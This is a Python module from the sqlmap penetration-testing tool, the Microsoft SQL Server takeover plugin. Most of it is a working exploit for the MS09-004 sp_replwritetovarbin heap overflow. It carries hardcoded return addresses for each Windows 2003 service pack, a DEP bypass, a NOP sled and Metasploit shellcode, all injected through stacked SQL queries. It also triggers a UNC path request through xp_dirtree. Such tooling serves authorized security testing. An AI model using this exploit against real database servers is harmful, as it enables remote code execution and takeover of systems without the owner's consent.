#!/usr/bin/env python """ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import binascii from lib.core.common import Backend from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.spExploit = "" GenericTakeover.__init__(self) def uncPathRequest(self): # inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) def spHeapOverflow(self): """ References: * https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-004 * https://support.microsoft.com/en-us/help/959420/ms09-004-vulnerabilities-in-microsoft-sql-server-could-allow-remote-co """ returns = { # 2003 Service Pack 0 "2003-0": (""), # 2003 Service Pack 1 "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 12/2008 # "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 05/2009 "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 09/2009 # "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), } addrs = None for versionSp, data in returns.items(): version, sp = versionSp.split("-") sp = int(sp) if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp: addrs = data break if not addrs: errMsg = "sqlmap can not exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) raise SqlmapUnsupportedFeatureException(errMsg) shellcodeChar = "" hexStr = binascii.hexlify(getBytes(self.shellcodeString[:-1])) for hexPair in xrange(0, len(hexStr), 2): shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2] shellcodeChar = shellcodeChar[:-1] self.spExploit = """DECLARE @buf NVARCHAR(4000), @val NVARCHAR(4), @counter INT SET @buf = ' DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' SET @val = CHAR(0x41) SET @counter = 0 WHILE @counter < 3320 BEGIN SET @counter = @counter + 1 IF @counter = 411 BEGIN /* pointer to call [ecx+8] */ SET @buf = @buf + %s /* push ebp, pop esp, ret 4 */ SET @buf = @buf + %s /* push ecx, pop esp, pop ebp, retn 8 */ SET @buf = @buf + %s /* Garbage */ SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51) /* retn 1c */ SET @buf = @buf + %s /* retn 1c */ SET @buf = @buf + %s /* anti DEP */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00) set @buf = @buf + CHAR(0x8B)+CHAR(0xEC) set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20) /* Metasploit shellcode */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3) SET @counter = @counter + 302 SET @val = CHAR(0x43) CONTINUE END SET @buf = @buf + @val END SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' EXEC master..sp_executesql @buf """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar) self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") logger.info("triggering the buffer overflow vulnerability, please wait..") inject.goStacked(self.spExploit, silent=True)